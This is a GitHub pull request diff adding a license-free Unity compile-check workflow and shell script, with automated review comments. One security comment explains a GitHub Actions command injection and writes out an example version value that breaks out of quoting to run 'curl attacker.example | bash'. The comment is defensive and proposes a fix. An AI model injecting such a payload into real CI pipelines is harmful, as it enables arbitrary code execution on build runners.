Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 3 additions & 0 deletions .gitattributes
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Shell scripts must keep LF: tools/compile-check.sh runs inside a Linux container,
# where CRLF would fail with "bad interpreter".
*.sh text eol=lf
113 changes: 113 additions & 0 deletions .github/workflows/compile-check.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,113 @@
name: Compile Check (no license)

# Real semantic compile verification for EVERY pull request, including forks.
#
# unity-tests.yml needs Unity license secrets, and GitHub withholds secrets from runs
# triggered by a fork's pull request -- so it skips and reports a green check having
# compiled nothing. Since practically every PR to this repo comes from a fork, that has
# meant no PR was ever compile-verified.
#
# This job never launches the Unity Editor, so it needs no license and no secrets. It
# pulls the PUBLIC unityci/editor image purely to read reference assemblies out of it,
# and drives Roslyn (Unity's own bundled csc) directly. See tools/compile-check.sh.
#
# It does NOT replace unity-tests.yml: this compiles, it does not run tests.

on:
push:
branches-ignore: [beta, main]
paths: &paths
- MCPForUnity/Editor/**
- MCPForUnity/Runtime/**
- tools/compile-check.sh
- tools/compile-defines.txt
- tools/compile-refs/**
- tools/unity-versions.json
- .github/workflows/compile-check.yml
pull_request:
branches: [main, beta]
paths: *paths

permissions:
contents: read

concurrency:
group: compile-check-${{ github.head_ref || github.ref }}
cancel-in-progress: true
Comment on lines +34 to +36

env:
# Transitive package deps of the Editor asmdef. Not listed in the project manifest --
# these are the versions Unity resolves into Library/PackageCache. Bump alongside
# tools/compile-refs/*.txt when the pinned Unity version changes.
NEWTONSOFT_VERSION: "3.2.1"
NUNIT_VERSION: "1.0.6"

jobs:
compile:
name: Compile MCPForUnity (win/osx/linux)
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false

- name: Resolve pinned Unity version
id: unity
run: |
set -euo pipefail
version=$(jq -r '.defaultVersion' tools/unity-versions.json)
[ -n "$version" ] && [ "$version" != "null" ] || { echo "::error::defaultVersion missing"; exit 1; }
echo "version=$version" >> "$GITHUB_OUTPUT"
echo "image=unityci/editor:ubuntu-$version-base-3" >> "$GITHUB_OUTPUT"
echo "Unity $version"

Comment on lines +55 to +64

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win

Command injection via unsanitized tools/unity-versions.json content spliced into run: scripts.

steps.unity.outputs.version and steps.unity.outputs.image (Lines 59-63) derive from tools/unity-versions.json, a file inside the checked-out repository. That file is also one of the paths that triggers this workflow on pull_request (Line 25), so any fork PR can modify it. The validation at Line 60 only rejects empty or literal "null" values — it does not sanitize shell metacharacters.

These outputs are then interpolated directly into run: scripts with ${{ }} at Line 86, Line 90, Line 101, and Line 110. ${{ }} expansion happens before the shell script is generated, so a defaultVersion value such as 2021.3.45f2"; curl attacker.example | bash # breaks out of the quoted string and executes arbitrary commands on the runner. Because this workflow is explicitly designed to run on fork PRs with no secrets, this is directly reachable by any external contributor.

permissions: contents: read and persist-credentials: false limit some of the blast radius, but do not prevent arbitrary code execution, resource abuse, or reading anything else available to the runner.

Pass these values through env: and reference them as shell variables instead of re-interpolating ${{ }} inside the script body. (Line 96's ${{ job.status }} is not attacker-controlled and is not part of this issue, though converting it too keeps the pattern consistent.)

🔒 Proposed fix
       - name: Compile
+        env:
+          UNITY_VERSION: ${{ steps.unity.outputs.version }}
+          UNITY_IMAGE: ${{ steps.unity.outputs.image }}
         run: |
           set -euo pipefail
           docker run --rm \
             -v "$PWD:/repo" -w /repo \
-            -e UNITY_VERSION="${{ steps.unity.outputs.version }}" \
+            -e UNITY_VERSION="$UNITY_VERSION" \
             -e UNITY_DATA=/opt/unity/Editor/Data \
             -e REPO=/repo \
             -e EXTRA_REFS=/repo/.compile-refs \
-            "${{ steps.unity.outputs.image }}" \
+            "$UNITY_IMAGE" \
             bash /repo/tools/compile-check.sh
 
       - name: Summary
         if: always()
+        env:
+          UNITY_VERSION: ${{ steps.unity.outputs.version }}
         run: |
           if [ "${{ job.status }}" = "success" ]; then
             {
               echo "## Compile check passed"
               echo
               echo "\`MCPForUnity.Runtime\` and \`MCPForUnity.Editor\` compiled against Unity"
-              echo "\`${{ steps.unity.outputs.version }}\` reference assemblies for **win, osx and linux**."
+              echo "\`$UNITY_VERSION\` reference assemblies for **win, osx and linux**."
               echo
               echo "No Unity license was used, so this runs on fork PRs too."
               echo "Note: this compiles the code, it does not run the test suite."
             } >> "$GITHUB_STEP_SUMMARY"
           else
             {
               echo "## Compile check FAILED"
               echo
-              echo "The C# does not compile against Unity \`${{ steps.unity.outputs.version }}\`."
+              echo "The C# does not compile against Unity \`$UNITY_VERSION\`."
               echo "See the Compile step log for the exact errors and the platform each belongs to."
             } >> "$GITHUB_STEP_SUMMARY"
           fi

Also applies to: 81-91, 93-113

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/compile-check.yml around lines 55 - 64, Prevent command
injection in the Unity workflow by passing steps.unity.outputs.version and
steps.unity.outputs.image through the relevant steps’ env configuration, then
reference them as shell variables within each run script instead of embedding
attacker-controlled GitHub expressions. Update all affected Unity setup/build
steps, including the uses around the Unity output consumers, while leaving the
non-attacker-controlled job.status handling unchanged or applying the same safe
pattern consistently.

Source: Linters/SAST tools

- name: Fetch package reference DLLs
run: |
set -euo pipefail
mkdir -p .compile-refs
# packages.unity.com is a public registry -- no credentials, no Unity account.
fetch() {
local pkg="$1" ver="$2" inner="$3"
echo "fetching $pkg@$ver"
curl -fsSL "https://packages.unity.com/$pkg/-/$pkg-$ver.tgz" -o /tmp/$pkg.tgz
tar -xzf /tmp/$pkg.tgz -C /tmp "package/$inner"
cp "/tmp/package/$inner" .compile-refs/
Comment on lines +72 to +75
}
fetch com.unity.nuget.newtonsoft-json "$NEWTONSOFT_VERSION" Runtime/Newtonsoft.Json.dll
fetch com.unity.ext.nunit "$NUNIT_VERSION" net35/unity-custom/nunit.framework.dll
ls -la .compile-refs/

- name: Compile
run: |
set -euo pipefail
docker run --rm \
-v "$PWD:/repo" -w /repo \
-e UNITY_VERSION="${{ steps.unity.outputs.version }}" \
-e UNITY_DATA=/opt/unity/Editor/Data \
-e REPO=/repo \
-e EXTRA_REFS=/repo/.compile-refs \
"${{ steps.unity.outputs.image }}" \
bash /repo/tools/compile-check.sh

- name: Summary
if: always()
run: |
if [ "${{ job.status }}" = "success" ]; then
{
echo "## Compile check passed"
echo
echo "\`MCPForUnity.Runtime\` and \`MCPForUnity.Editor\` compiled against Unity"
echo "\`${{ steps.unity.outputs.version }}\` reference assemblies for **win, osx and linux**."
echo
echo "No Unity license was used, so this runs on fork PRs too."
echo "Note: this compiles the code, it does not run the test suite."
} >> "$GITHUB_STEP_SUMMARY"
else
{
echo "## Compile check FAILED"
echo
echo "The C# does not compile against Unity \`${{ steps.unity.outputs.version }}\`."
echo "See the Compile step log for the exact errors and the platform each belongs to."
} >> "$GITHUB_STEP_SUMMARY"
fi
3 changes: 3 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -73,3 +73,6 @@ tools/.unity-check-logs/
# Superpowers skill working artifacts (specs, plans, SDD ledger)
docs/superpowers/
.superpowers/

# Reference DLLs fetched by tools/compile-check.sh (not redistributable)
.compile-refs/
147 changes: 147 additions & 0 deletions tools/compile-check.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,147 @@
#!/usr/bin/env bash
# Compile MCP for Unity's C# with Roslyn, against Unity's reference assemblies.
#
# WHY THIS EXISTS: Unity will not open a project without an activated license, and GitHub
# withholds secrets from fork PRs -- so PRs to this repo have historically gone unverified
# (unity-tests.yml skips and still reports a green check). This script never launches the
# Editor. It uses a Unity installation purely as a source of reference DLLs and invokes the
# bundled Roslyn compiler directly, which needs no license. That makes a real semantic
# compile check possible on any PR, including forks, with zero secrets.
#
# It does NOT run tests -- that still needs a licensed Editor.
#
# Usage (inside unityci/editor, or against a local Hub install):
# UNITY_DATA=/opt/unity/Editor/Data UNITY_VERSION=2021.3.45f2 tools/compile-check.sh
#
# Env:
# UNITY_DATA Editor/Data directory (default /opt/unity/Editor/Data)
# UNITY_VERSION e.g. 2021.3.45f2 (required for version defines)
# REPO repo root (default: this script's parent)
# EXTRA_REFS dir holding Newtonsoft/nunit DLLs (default $REPO/.compile-refs)
# PLATFORMS editor platforms to compile (default "win osx linux")
# OUT scratch dir (default /tmp/mcp-compile-check)
#
# MAINTENANCE: tools/compile-refs/{Runtime,Editor}.txt and tools/compile-defines.txt are
# captured from Unity's own generated .csproj files for the pinned defaultVersion. They are
# NOT globs on purpose -- Editor/Data holds the entire .NET 4.8 BCL plus vendored libraries
# (ExCSS.Unity redefines System.Tuple; cscompmgd.dll redefines Microsoft.CSharp.CompilerError)
# that Unity deliberately does not reference. Regenerate them when defaultVersion changes:
# open TestProjects/UnityMCPTests in that Editor, then re-derive from the generated csprojs.
set -uo pipefail

UNITY_DATA=${UNITY_DATA:-/opt/unity/Editor/Data}
REPO=${REPO:-"$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"}
EXTRA_REFS=${EXTRA_REFS:-"$REPO/.compile-refs"}
PLATFORMS=${PLATFORMS:-"win osx linux"}
OUT=${OUT:-/tmp/mcp-compile-check}
LIBCACHE="$UNITY_DATA/Resources/PackageManager/ProjectTemplates/libcache"

die() { echo "::error::$*" >&2; exit 2; }

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

::error::/::warning:: annotations are inconsistently sent to stderr.

die() (Line 39) and the missing-reference warning (Line 121) write to stderr (>&2), while the compile-failure and final-failure annotations (Lines 132, 146) write to stdout. GitHub's documentation states workflow commands "are then sent to the runner over stdout." Sending ::error::/::warning:: to stderr risks these specific annotations not rendering in the GitHub UI, even though the raw text still appears in the step log.

Since die() covers the most critical failure paths (missing UNITY_DATA, missing csc.dll, no dotnet, unset UNITY_VERSION), losing its annotation reduces the diagnostic value this tool is built to provide.

♻️ Proposed fix
-die() { echo "::error::$*" >&2; exit 2; }
+die() { echo "::error::$*"; exit 2; }
-      else echo "::warning::reference not found: $entry" >&2; missing=$((missing+1)); fi
+      else echo "::warning::reference not found: $entry"; missing=$((missing+1)); fi

Also applies to: 121-121, 132-132, 146-146

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@tools/compile-check.sh` at line 39, Update the annotation output in die(),
the missing-reference warning, and the compile/final-failure paths to
consistently write ::error:: and ::warning:: workflow commands to stdout; retain
stderr only for non-annotation diagnostic output.


[ -d "$UNITY_DATA" ] || die "UNITY_DATA not found: $UNITY_DATA"
CSC="$UNITY_DATA/DotNetSdkRoslyn/csc.dll"
[ -f "$CSC" ] || die "Roslyn compiler not found: $CSC"

DOTNET="$UNITY_DATA/NetCoreRuntime/dotnet"
[ -x "$DOTNET" ] || DOTNET="$(command -v dotnet)" || die "no dotnet runtime available"

UNITY_VERSION=${UNITY_VERSION:-}
[ -n "$UNITY_VERSION" ] || die "UNITY_VERSION must be set (e.g. 2021.3.45f2)"

echo "Unity version : $UNITY_VERSION"
echo "Unity data : $UNITY_DATA"

# ---------------------------------------------------------------- defines ----
# The version ladder must be exact: defining UNITY_2022_1_OR_NEWER on a 2021.3 build
# compiles the wrong #if branches and invents errors that do not exist.
UNITY_RELEASES="5.3 5.4 5.5 5.6 2017.1 2017.2 2017.3 2017.4 2018.1 2018.2 2018.3 2018.4 \
2019.1 2019.2 2019.3 2019.4 2020.1 2020.2 2020.3 2021.1 2021.2 2021.3 2022.1 2022.2 2022.3 \
6000.0 6000.1 6000.2 6000.3 6000.4 6000.5 6000.6"

ver_major=$(echo "$UNITY_VERSION" | cut -d. -f1)
ver_minor=$(echo "$UNITY_VERSION" | cut -d. -f2)
ver_patch=$(echo "$UNITY_VERSION" | cut -d. -f3 | sed 's/[a-z].*//')

version_defines() {
local rel rM rm
for rel in $UNITY_RELEASES; do
rM=${rel%%.*}; rm=${rel##*.}
if [ "$rM" -lt "$ver_major" ] || { [ "$rM" -eq "$ver_major" ] && [ "$rm" -le "$ver_minor" ]; }; then
echo "UNITY_${rM}_${rm}_OR_NEWER"
fi
done
echo "UNITY_${ver_major}"
echo "UNITY_${ver_major}_${ver_minor}"
[ -n "$ver_patch" ] && echo "UNITY_${ver_major}_${ver_minor}_${ver_patch}"
}

platform_defines() {
case "$1" in
win) printf '%s\n' UNITY_EDITOR_WIN UNITY_STANDALONE_WIN PLATFORM_STANDALONE_WIN ;;
osx) printf '%s\n' UNITY_EDITOR_OSX UNITY_STANDALONE_OSX PLATFORM_STANDALONE_OSX ;;
linux) printf '%s\n' UNITY_EDITOR_LINUX UNITY_STANDALONE_LINUX PLATFORM_STANDALONE_LINUX ;;
*) die "unknown platform '$1' (expected win|osx|linux)" ;;
esac
}
Comment on lines +78 to +85

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

die() inside a piped subshell does not stop the script.

platform_defines() calls die "unknown platform '$1' ..." at Line 84. At Line 116, platform_defines is invoked as the left side of a pipe: platform_defines "$platform" | while read -r d; do ...; done. The pipe's left side runs in a subshell, so die's exit 2 only terminates that subshell. Since -e is not set, the parent script continues, silently compiling with no platform defines for that entry instead of aborting as die() intends.

PLATFORMS is documented as user-overridable (Line 21), so an invalid override (for example a typo like windows) would trigger this silently-swallowed failure path rather than a hard stop.

🐛 Proposed fix
-    platform_defines "$platform" | while read -r d; do echo "-define:$d"; done
+    local pdefs; pdefs=$(platform_defines "$platform") || return 1
+    printf '%s\n' "$pdefs" | while read -r d; do echo "-define:$d"; done

Also applies to: 115-116

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@tools/compile-check.sh` around lines 78 - 85, Update the platform iteration
around platform_defines and its piped while-read consumer so invalid PLATFORMS
values cannot swallow die’s failure in a subshell. Validate each platform before
entering the pipeline, or otherwise propagate the platform_defines failure to
the parent script, while preserving the existing define-generation behavior for
win, osx, and linux.


# --------------------------------------------------------------- references ----
# Resolve one manifest line (DATA/… LIBCACHE/… EXTRA/…) to an absolute path.
resolve_ref() {
case "$1" in
DATA/*) echo "$UNITY_DATA/${1#DATA/}" ;;
EXTRA/*) echo "$EXTRA_REFS/${1#EXTRA/}" ;;
LIBCACHE/*) find "$LIBCACHE" -path '*/ScriptAssemblies/*' -name "${1#LIBCACHE/}" 2>/dev/null | head -1 ;;
esac
}

# ------------------------------------------------------------------ compile ----
# Output assembly names must be exactly MCPForUnity.Runtime / MCPForUnity.Editor:
# MCPForUnity/Runtime/AssemblyInfo.cs grants InternalsVisibleTo by assembly NAME, so a
# platform suffix in the filename would make Runtime's internals invisible to Editor.
compile() {
local name="$1" srcdir="$2" platform="$3" manifest="$4"; shift 4
local dir="$OUT/$platform"; mkdir -p "$dir"
local rsp="$dir/$name.rsp"
local missing=0 nrefs=0

{
echo "-target:library"
echo "-langversion:9.0"
echo "-nostdlib+"
echo "-preferreduilang:en-US"
echo "-nowarn:CS1701,CS1702" # benign netstandard facade version unification
echo "-out:$dir/$name.dll"
while read -r d; do [ -n "$d" ] && echo "-define:$d"; done < "$REPO/tools/compile-defines.txt"
version_defines | while read -r d; do echo "-define:$d"; done
platform_defines "$platform" | while read -r d; do echo "-define:$d"; done
while read -r entry; do
[ -n "$entry" ] || continue
local p; p=$(resolve_ref "$entry")
if [ -n "$p" ] && [ -f "$p" ]; then echo "-r:\"$p\""; nrefs=$((nrefs+1))
else echo "::warning::reference not found: $entry" >&2; missing=$((missing+1)); fi
done < "$manifest"
for r in "$@"; do echo "-r:\"$r\""; done
find "$srcdir" -name '*.cs' -type f | sort | while read -r f; do echo "\"$f\""; done
} > "$rsp"

Comment on lines +117 to +126
local nsrc; nsrc=$(find "$srcdir" -name '*.cs' -type f | wc -l)
echo "--- $name [$platform] : $nsrc sources, $(grep -c '^-r:' "$rsp") refs ---"
"$DOTNET" "$CSC" "@$rsp" 2>&1 | grep -vE '^(Microsoft \(R\)|Copyright)' | sed '/^$/d'
local rc=${PIPESTATUS[0]}
if [ "$rc" -ne 0 ] || [ ! -f "$dir/$name.dll" ]; then
echo "::error::$name failed to compile for $platform"
return 1
fi
echo "OK $name [$platform]"
}
Comment on lines +105 to +136

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

Enforce the missing-reference check instead of only warning.

missing counts unresolved manifest entries (Line 121), but the count is never checked before Line 129 runs csc. If a reference silently fails to resolve — for example, if unityci/editor changes its libcache layout, or EXTRA_REFS is misconfigured — the script prints ::warning:: and continues. The compile can still report OK if the missing type happens not to be exercised, silently weakening the guarantee this check exists to provide.

nrefs (incremented alongside missing) is also unused: Line 128 recomputes the reference count from the file with grep -c '^-r:' "$rsp" instead.

Fail the compile explicitly when any manifest reference cannot be resolved.

🐛 Proposed fix
   } > "$rsp"
 
+  if [ "$missing" -gt 0 ]; then
+    echo "::error::$name [$platform]: $missing manifest reference(s) could not be resolved"
+    return 1
+  fi
+
   local nsrc; nsrc=$(find "$srcdir" -name '*.cs' -type f | wc -l)
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
local missing=0 nrefs=0
{
echo "-target:library"
echo "-langversion:9.0"
echo "-nostdlib+"
echo "-preferreduilang:en-US"
echo "-nowarn:CS1701,CS1702" # benign netstandard facade version unification
echo "-out:$dir/$name.dll"
while read -r d; do [ -n "$d" ] && echo "-define:$d"; done < "$REPO/tools/compile-defines.txt"
version_defines | while read -r d; do echo "-define:$d"; done
platform_defines "$platform" | while read -r d; do echo "-define:$d"; done
while read -r entry; do
[ -n "$entry" ] || continue
local p; p=$(resolve_ref "$entry")
if [ -n "$p" ] && [ -f "$p" ]; then echo "-r:\"$p\""; nrefs=$((nrefs+1))
else echo "::warning::reference not found: $entry" >&2; missing=$((missing+1)); fi
done < "$manifest"
for r in "$@"; do echo "-r:\"$r\""; done
find "$srcdir" -name '*.cs' -type f | sort | while read -r f; do echo "\"$f\""; done
} > "$rsp"
local nsrc; nsrc=$(find "$srcdir" -name '*.cs' -type f | wc -l)
echo "--- $name [$platform] : $nsrc sources, $(grep -c '^-r:' "$rsp") refs ---"
"$DOTNET" "$CSC" "@$rsp" 2>&1 | grep -vE '^(Microsoft \(R\)|Copyright)' | sed '/^$/d'
local rc=${PIPESTATUS[0]}
if [ "$rc" -ne 0 ] || [ ! -f "$dir/$name.dll" ]; then
echo "::error::$name failed to compile for $platform"
return 1
fi
echo "OK $name [$platform]"
}
local missing=0 nrefs=0
{
echo "-target:library"
echo "-langversion:9.0"
echo "-nostdlib+"
echo "-preferreduilang:en-US"
echo "-nowarn:CS1701,CS1702" # benign netstandard facade version unification
echo "-out:$dir/$name.dll"
while read -r d; do [ -n "$d" ] && echo "-define:$d"; done < "$REPO/tools/compile-defines.txt"
version_defines | while read -r d; do echo "-define:$d"; done
platform_defines "$platform" | while read -r d; do echo "-define:$d"; done
while read -r entry; do
[ -n "$entry" ] || continue
local p; p=$(resolve_ref "$entry")
if [ -n "$p" ] && [ -f "$p" ]; then echo "-r:\"$p\""; nrefs=$((nrefs+1))
else echo "::warning::reference not found: $entry" >&2; missing=$((missing+1)); fi
done < "$manifest"
for r in "$@"; do echo "-r:\"$r\""; done
find "$srcdir" -name '*.cs' -type f | sort | while read -r f; do echo "\"$f\""; done
} > "$rsp"
if [ "$missing" -gt 0 ]; then
echo "::error::$name [$platform]: $missing manifest reference(s) could not be resolved"
return 1
fi
local nsrc; nsrc=$(find "$srcdir" -name '*.cs' -type f | wc -l)
echo "--- $name [$platform] : $nsrc sources, $(grep -c '^-r:' "$rsp") refs ---"
"$DOTNET" "$CSC" "@$rsp" 2>&1 | grep -vE '^(Microsoft \(R\)|Copyright)' | sed '/^$/d'
local rc=${PIPESTATUS[0]}
if [ "$rc" -ne 0 ] || [ ! -f "$dir/$name.dll" ]; then
echo "::error::$name failed to compile for $platform"
return 1
fi
echo "OK $name [$platform]"
}
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@tools/compile-check.sh` around lines 105 - 136, Update the compile flow
around missing and nrefs so unresolved manifest entries cause an immediate
failure before invoking csc. After processing the manifest, check missing and
emit the existing compile error/return failure when it is nonzero; retain the
successful path otherwise. Use nrefs in the summary instead of recomputing the
reference count with grep.


failed=0
for platform in $PLATFORMS; do
compile MCPForUnity.Runtime "$REPO/MCPForUnity/Runtime" "$platform" \
"$REPO/tools/compile-refs/Runtime.txt" || { failed=1; continue; }
compile MCPForUnity.Editor "$REPO/MCPForUnity/Editor" "$platform" \
"$REPO/tools/compile-refs/Editor.txt" "$OUT/$platform/MCPForUnity.Runtime.dll" || failed=1
done

[ "$failed" -eq 0 ] || { echo "::error::compile check FAILED"; exit 1; }
echo "compile check passed for: $PLATFORMS"
82 changes: 82 additions & 0 deletions tools/compile-defines.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
CSHARP_7_3_OR_NEWER
CSHARP_7_OR_LATER
DEBUG
ENABLE_ACCELERATOR_CLIENT_DEBUGGING
ENABLE_AR
ENABLE_AUDIO
ENABLE_BURST_AOT
ENABLE_CACHING
ENABLE_CLOTH
ENABLE_CLOUD_LICENSE
ENABLE_CLOUD_SERVICES
ENABLE_CLOUD_SERVICES_ADS
ENABLE_CLOUD_SERVICES_ANALYTICS
ENABLE_CLOUD_SERVICES_BUILD
ENABLE_CLOUD_SERVICES_CRASH_REPORTING
ENABLE_CLOUD_SERVICES_PURCHASING
ENABLE_CLOUD_SERVICES_UNET
ENABLE_CLOUD_SERVICES_USE_WEBREQUEST
ENABLE_CLUSTER_SYNC
ENABLE_CLUSTERINPUT
ENABLE_CRUNCH_TEXTURE_COMPRESSION
ENABLE_CUSTOM_RENDER_TEXTURE
ENABLE_DIRECTOR
ENABLE_DIRECTOR_AUDIO
ENABLE_DIRECTOR_TEXTURE
ENABLE_EDITOR_HUB_LICENSE
ENABLE_EVENT_QUEUE
ENABLE_LEGACY_INPUT_MANAGER
ENABLE_LOCALIZATION
ENABLE_LZMA
ENABLE_MANAGED_ANIMATION_JOBS
ENABLE_MANAGED_AUDIO_JOBS
ENABLE_MANAGED_JOBS
ENABLE_MANAGED_TRANSFORM_JOBS
ENABLE_MANAGED_UNITYTLS
ENABLE_MICROPHONE
ENABLE_MONO
ENABLE_MOVIES
ENABLE_MULTIPLE_DISPLAYS
ENABLE_NETWORK
ENABLE_NVIDIA
ENABLE_OUT_OF_PROCESS_CRASH_HANDLER
ENABLE_PHYSICS
ENABLE_PROFILER
ENABLE_RUNTIME_GI
ENABLE_SCRIPTING_GC_WBARRIERS
ENABLE_SPRITES
ENABLE_TERRAIN
ENABLE_TEXTURE_STREAMING
ENABLE_TILEMAP
ENABLE_TIMELINE
ENABLE_UNET
ENABLE_UNITY_COLLECTIONS_CHECKS
ENABLE_UNITY_GAME_SERVICES_ANALYTICS_SUPPORT
ENABLE_UNITYEVENTS
ENABLE_UNITYWEBREQUEST
ENABLE_VIDEO
ENABLE_VIRTUALTEXTURING
ENABLE_VR
ENABLE_WEBCAM
ENABLE_WEBSOCKET_CLIENT
ENABLE_WEBSOCKET_HOST
ENABLE_WWW
GFXDEVICE_WAITFOREVENT_MESSAGEPUMP
INCLUDE_DYNAMIC_GI
NET_4_6
NET_UNITY_4_8
PLATFORM_ARCH_64
PLATFORM_STANDALONE
PLATFORM_SUPPORTS_MONO
PLATFORM_UPDATES_TIME_OUTSIDE_OF_PLAYER_LOOP
RENDER_SOFTWARE_CURSOR
TEXTCORE_1_0_OR_NEWER
TEXTCORE_FONT_ENGINE_1_5_OR_NEWER
TRACE
UNITY_64
UNITY_ASSERTIONS
UNITY_EDITOR
UNITY_EDITOR_64
UNITY_INCLUDE_TESTS
UNITY_STANDALONE
UNITY_TEAM_LICENSE
Loading
Loading